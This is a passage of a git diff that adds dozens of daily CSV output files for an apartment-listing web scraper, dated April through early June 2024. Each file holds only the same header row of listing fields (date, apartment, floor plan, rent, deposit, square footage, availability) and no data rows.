+Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240401.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240401.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240401.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240402.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240402.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240402.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240403.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240403.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240403.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240404.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240404.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240404.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240405.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240405.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240405.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240406.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240406.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240406.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240407.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240407.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240407.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240408.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240408.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240408.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240409.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240409.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240409.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240410.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240410.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240410.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240411.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240411.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240411.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240412.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240412.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240412.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240413.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240413.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240413.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240414.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240414.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240414.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240415.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240415.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240415.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240416.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240416.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240416.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240417.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240417.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240417.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240418.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240418.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240418.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240419.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240419.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240419.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240420.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240420.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240420.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240421.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240421.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240421.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240422.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240422.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240422.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240423.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240423.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240423.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240424.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240424.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240424.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240425.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240425.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240425.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240426.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240426.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240426.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240427.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240427.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240427.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240428.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240428.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240428.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240429.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240429.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240429.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240430.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240430.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240430.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240501.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240501.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240501.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240502.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240502.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240502.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240503.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240503.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240503.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240504.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240504.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240504.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240505.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240505.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240505.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240506.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240506.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240506.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240507.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240507.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240507.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240508.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240508.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240508.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240509.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240509.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240509.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240510.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240510.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240510.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240511.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240511.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240511.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240512.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240512.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240512.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240513.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240513.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240513.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240514.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240514.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240514.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240515.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240515.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240515.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240516.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240516.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240516.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240517.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240517.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240517.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240518.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240518.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240518.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240519.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240519.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240519.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240520.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240520.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240520.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240521.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240521.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240521.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240522.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240522.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240522.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240523.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240523.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240523.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240524.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240524.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240524.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240525.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240525.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240525.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240526.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240526.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240526.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240527.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240527.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240527.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240528.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240528.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240528.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240529.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240529.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240529.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240530.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240530.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240530.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240531.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240531.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240531.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240601.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240601.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240601.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240602.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240602.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240602.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240603.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240603.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240603.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240604.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240604.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240604.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240605.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240605.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240605.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240606.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240606.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240606.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240607.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240607.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240607.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240608.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240608.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240608.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240609.csv 